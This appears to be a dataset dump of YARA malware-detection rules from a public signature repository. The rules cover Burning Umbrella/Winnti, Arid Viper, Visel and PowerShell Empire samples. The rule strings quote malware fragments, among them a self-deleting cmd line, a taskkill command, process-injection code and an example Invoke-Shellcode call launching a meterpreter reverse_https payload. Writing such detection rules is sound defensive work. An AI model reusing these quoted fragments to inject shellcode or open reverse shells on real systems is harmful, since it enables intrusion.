deardaniel/secdata-raw huggingface dataset:
YARA Detection Rule: MAL_BurningUmbrella_Sample_16
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "http://netimo.net 0" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 500KB and all of them

Full rule:
rule MAL_BurningUmbrella_Sample_16 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "58bb3859e02b8483e9f84cc56fbd964486e056ef28e94dd0027d361383cc4f4a"
      id = "8b1970bd-571e-5c53-9170-1605c69d9d6d"
   strings:
      $s1 = "http://netimo.net 0" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 500KB and all of them
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_17
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "syshell" fullword wide
      $s2 = "Normal.dotm" fullword ascii
      $s3 = "Microsoft Office Word" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 400KB and all of them

Full rule:
rule MAL_BurningUmbrella_Sample_17 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "fa380dac35e16da01242e456f760a0e75c2ce9b68ff18cfc7cfdd16b2f4dec56"
      hash2 = "854b64155f9ceac806b49f3e352949cc292e5bc33f110d965cf81a93f78d2f07"
      hash3 = "1e462d8968e8b6e8784d7ecd1d60249b41cf600975d2a894f15433a7fdf07a0f"
      hash4 = "3cdc149e387ec4a64cce1191fc30b8588df4a2947d54127eae43955ce3d08a01"
      hash5 = "a026b11e15d4a81a449d20baf7cbd7b8602adc2644aa4bea1e55ff1f422c60e3"
      id = "d79d3f65-f27c-582b-9258-7c84dc7682a6"
   strings:
      $s1 = "syshell" fullword wide
      $s2 = "Normal.dotm" fullword ascii
      $s3 = "Microsoft Office Word" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 400KB and all of them
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_18
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "c:\\tmp\\tran.exe" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.imphash() == "11675b4db0e7df7b29b1c1ef6f88e2e1" or
         pe.imphash() == "364e1f68e2d412db34715709c68ba467" or
         pe.exports("deKernel") or
         1 of them
      )

Full rule:
rule MAL_BurningUmbrella_Sample_18 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "d8df60524deb6df4f9ddd802037a248f9fbdd532151bb00e647b233e845b1617"
      hash2 = "c55cb6b42cfabf0edf1499d383817164d1b034895e597068e019c19d787ea313"
      hash3 = "32144ba8370826e069e5f1b6745a3625d10f50a809f3f2a72c4c7644ed0cab03"
      hash4 = "ae616003d85a12393783eaff9778aba20189e423c11c852e96c29efa6ecfce81"
      hash5 = "95b6e427883f402db73234b84a84015ad7f3456801cb9bb19df4b11739ea646d"
      hash6 = "1419ba36aae1daecc7a81a2dfb[PII_REDACTED]5a5b34247533d59a70c1c9f58da2"
      hash7 = "6a5a9b0ae10ce6a0d5e1f7d21d8ea87894d62d0cda00db005d8d0de17cae7743"
      hash8 = "74e348068f8851fec1b3de54550fe09d07fb85b7481ca6b61404823b473885bb"
      hash9 = "adb9c2fe930fae579ce87059b4b9e15c22b6498c42df01db9760f75d983b93b2"
      hash0 = "23f28b5c4e94d0ad86341c0b9054f197c63389133fcd81dd5e0cf59f774ce54b"
      id = "d08f4676-ff28-59be-9fd4-b5a824e577d9"
   strings:
      $s1 = "c:\\tmp\\tran.exe" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.imphash() == "11675b4db0e7df7b29b1c1ef6f88e2e1" or
         pe.imphash() == "364e1f68e2d412db34715709c68ba467" or
         pe.exports("deKernel") or
         1 of them
      )
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_19
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "Cryption.dll" fullword ascii
      $s2 = "tran.exe" fullword ascii
      $s3 = "Kernel.dll" fullword ascii
      $s4 = "Now ready to get the file %s!" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 200KB and 3 of them

Full rule:
rule MAL_BurningUmbrella_Sample_19 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "05e2912f2a593ba16a5a094d319d96715cbecf025bf88bb0293caaf6beb8bc20"
      hash2 = "e7bbdb275773f43c8e0610ad75cfe48739e0a2414c948de66ce042016eae0b2e"
      id = "8ab55e80-5d28-5a5f-a1cc-725ba6720e4b"
   strings:
      $s1 = "Cryption.dll" fullword ascii
      $s2 = "tran.exe" fullword ascii
      $s3 = "Kernel.dll" fullword ascii
      $s4 = "Now ready to get the file %s!" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_20
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
      $s2 = "%s\\shell\\Open\\command" fullword wide
      $s3 = "expanding computer" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 500KB and (
         pe.imphash() == "bac338bfe2685483c201e15eae4352d5" or
         2 of them
      )

Full rule:
rule MAL_BurningUmbrella_Sample_20 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      modified = "2023-01-06"
      hash1 = "5c12379cd7ab3cb03dac354d0e850769873d45bb486c266a893c0daa452aa03c"
      hash2 = "172cd90fd9e31ba70e47f0cc76c07d53e512da4cbfd197772c179fe604b75369"
      hash3 = "1ce88e98c8b37ea[PII_REDACTED]5f2c01010a4d4a88587ba0ae814f37680a2e7a8"
      id = "1a39a76a-31e2-5d6e-82cb-ea38d503b6a9"
   strings:
      $s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
      $s2 = "%s\\shell\\Open\\command" fullword wide
      $s3 = "expanding computer" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 500KB and (
         pe.imphash() == "bac338bfe2685483c201e15eae4352d5" or
         2 of them
      )
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_21
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
      $s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
      $s3 = "del later.bat" fullword ascii
      $s4 = "mycrs.xls" fullword ascii

      $a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
      $a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 500KB and 2 of them

Full rule:
rule MAL_BurningUmbrella_Sample_21 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "4b7b9c2a9d5080ccc4e9934f2fd14b9d4e8f6f500889bf9750f1d672c8724438"
      id = "2193e4b6-b71c-5031-8e43-fdd7177ad05c"
   strings:
      $s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
      $s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
      $s3 = "del later.bat" fullword ascii
      $s4 = "mycrs.xls" fullword ascii

      $a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
      $a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 500KB and 2 of them
}
YARA Detection Rule: MAL_BurningUmbrella_Sample_22
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
      $s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
      $s4 = "Fail To Enum Service" fullword ascii
      $s5 = "Host Power ON Time" fullword ascii
      $s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 200KB and 4 of them

Full rule:
rule MAL_BurningUmbrella_Sample_22 {
   meta:
      description = "Detects malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "fa116cf9410f1613003ca423ad6ca92657a61b8e9eda1b05caf4f30ca650aee5"
      id = "90c6cda9-95a0-5de7-b1cd-110c238d993d"
   strings:
      $s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
      $s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
      $s4 = "Fail To Enum Service" fullword ascii
      $s5 = "Host Power ON Time" fullword ascii
      $s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and 4 of them
}
YARA Detection Rule: MAL_AirdViper_Sample_Apr18_1
Repository: Neo23x0/signature-base
Detects: Detects Arid Viper malware sample
Author: Florian Roth (Nextron Systems)
Reference: Internal Research

Pattern signatures:
$x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
      $x2 = "daenerys=%s&" ascii
      $x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii

      $s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
      $s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
      $s3 = "\\TaskWindows.exe" ascii
      $s4 = "MicrosoftOneDrives.exe" fullword ascii
      $s5 = "\\SeanSansom.txt" ascii

Detection condition:
uint16(0) == 0x5a4d and filesize < 6000KB and (
         1 of ($x*) or
         4 of them
      )

Full rule:
rule MAL_AirdViper_Sample_Apr18_1 {
   meta:
      description = "Detects Arid Viper malware sample"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "Internal Research"
      date = "2018-05-04"
      hash1 = "9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397"
      id = "00f118d1-be1c-5f50-a50f-591f824a1a53"
   strings:
      $x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
      $x2 = "daenerys=%s&" ascii
      $x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii

      $s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
      $s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
      $s3 = "\\TaskWindows.exe" ascii
      $s4 = "MicrosoftOneDrives.exe" fullword ascii
      $s5 = "\\SeanSansom.txt" ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 6000KB and (
         1 of ($x*) or
         4 of them
      )
}
YARA Detection Rule: MAL_Winnti_Sample_May18_1
Repository: Neo23x0/signature-base
Detects: Detects malware sample from Burning Umbrella report - Generic Winnti Rule
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s1 = "wireshark" fullword wide
      $s2 = "procexp" fullword wide

Detection condition:
uint16(0) == 0x5a4d and filesize < 100KB and all of them

Full rule:
rule MAL_Winnti_Sample_May18_1 {
   meta:
      description = "Detects malware sample from Burning Umbrella report - Generic Winnti Rule"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "528d9eaaac67716e6b37dd[PII_REDACTED]18c8766fa1b2f33c0974f7d5f6725d41"
      id = "c2f3339e-269f-5a51-8db6-06e54a707b3a"
   strings:
      $s1 = "wireshark" fullword wide
      $s2 = "procexp" fullword wide
   condition:
      uint16(0) == 0x5a4d and filesize < 100KB and all of them
}
YARA Detection Rule: MAL_Visel_Sample_May18_1
Repository: Neo23x0/signature-base
Detects: Detects Visel malware sample from Burning Umbrella report
Author: Florian Roth (Nextron Systems)
Reference: https://401trg.pw/burning-umbrella/

Pattern signatures:
$s2 = "print32.dll" fullword ascii
      $s3 = "c:\\a\\b.txt" fullword ascii
      $s4 = "\\temp\\s%d.dat" wide

Detection condition:
uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.exports("szFile") or
         2 of them
      )

Full rule:
rule MAL_Visel_Sample_May18_1 {
   meta:
      description = "Detects Visel malware sample from Burning Umbrella report"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "https://401trg.pw/burning-umbrella/"
      date = "2018-05-04"
      hash1 = "35db8e6a2eb5cf09cd98bf5d31f6356d0deaf4951b353fc513ce98918b91439c"
      id = "a244461a-380c-56e6-a891-131f6e13c280"
   strings:
      $s2 = "print32.dll" fullword ascii
      $s3 = "c:\\a\\b.txt" fullword ascii
      $s4 = "\\temp\\s%d.dat" wide
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and (
         pe.exports("szFile") or
         2 of them
      )
}
YARA Detection Rule: Empire_Invoke_BypassUAC
Repository: Neo23x0/signature-base
Detects: Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/PowerShellEmpire/Empire

Pattern signatures:
$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii 
		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii 
		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii 
		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii

Detection condition:
filesize < 1200KB and 3 of them

Full rule:
rule Empire_Invoke_BypassUAC {
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "ab0f900a6915b[PII_REDACTED]871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
		id = "8454d929-e184-5be1-b61f-4dfa8f44bdda"
	strings:
		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii 
		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii 
		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii 
		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii 
	condition:
		filesize < 1200KB and 3 of them
}
YARA Detection Rule: Empire_lib_modules_trollsploit_message
Repository: Neo23x0/signature-base
Detects: Empire - a pure PowerShell post-exploitation agent - file message.py
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/PowerShellEmpire/Empire

Pattern signatures:
$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii 
		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii 
		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii 
		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii

Detection condition:
filesize < 10KB and 3 of them

Full rule:
rule Empire_lib_modules_trollsploit_message {
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
		id = "cb0eee5a-c236-512e-8256-7411a7fb1fd5"
	strings:
		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii 
		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii 
		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii 
		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii 
	condition:
		filesize < 10KB and 3 of them
}
YARA Detection Rule: Empire_Persistence
Repository: Neo23x0/signature-base
Detects: Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/PowerShellEmpire/Empire

Pattern signatures:
$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii 
		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii 
		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii

Detection condition:
filesize < 108KB and 1 of them

Full rule:
rule Empire_Persistence {
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
		id = "0f63b5f4-f933-5821-b0b0-50717e75f6d9"
	strings:
		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii 
		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii 
		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii 
	condition:
		filesize < 108KB and 1 of them
}
YARA Detection Rule: Empire_portscan
Repository: Neo23x0/signature-base
Detects: Empire - a pure PowerShell post-exploitation agent - file portscan.py
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/PowerShellEmpire/Empire

Pattern signatures:
$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii 
		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii

Detection condition:
filesize < 14KB and all of them

Full rule:
rule Empire_portscan {
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
		id = "23a0f769-9155-5aa0-9200-2baf827bdda4"
	strings:
		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii 
		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii 
	condition:
		filesize < 14KB and all of them
}
YARA Detection Rule: Empire_Invoke_Shellcode
Repository: Neo23x0/signature-base
Detects: Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1
Author: Florian Roth (Nextron Systems)
Reference: https://github.com/PowerShellEmpire/Empire

Pattern signatures:
$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii 
		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii 
		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii

Detection condition:
filesize < 100KB and 1 of them

Full rule:
rule Empire_Invoke_Shellcode {
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
		id = "41788f71-cc99-50b3-bdc7-17b132ab2767"
	strings:
		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii 
		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii 
		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii 
	condition:
		filesize < 100KB and 1 of them
}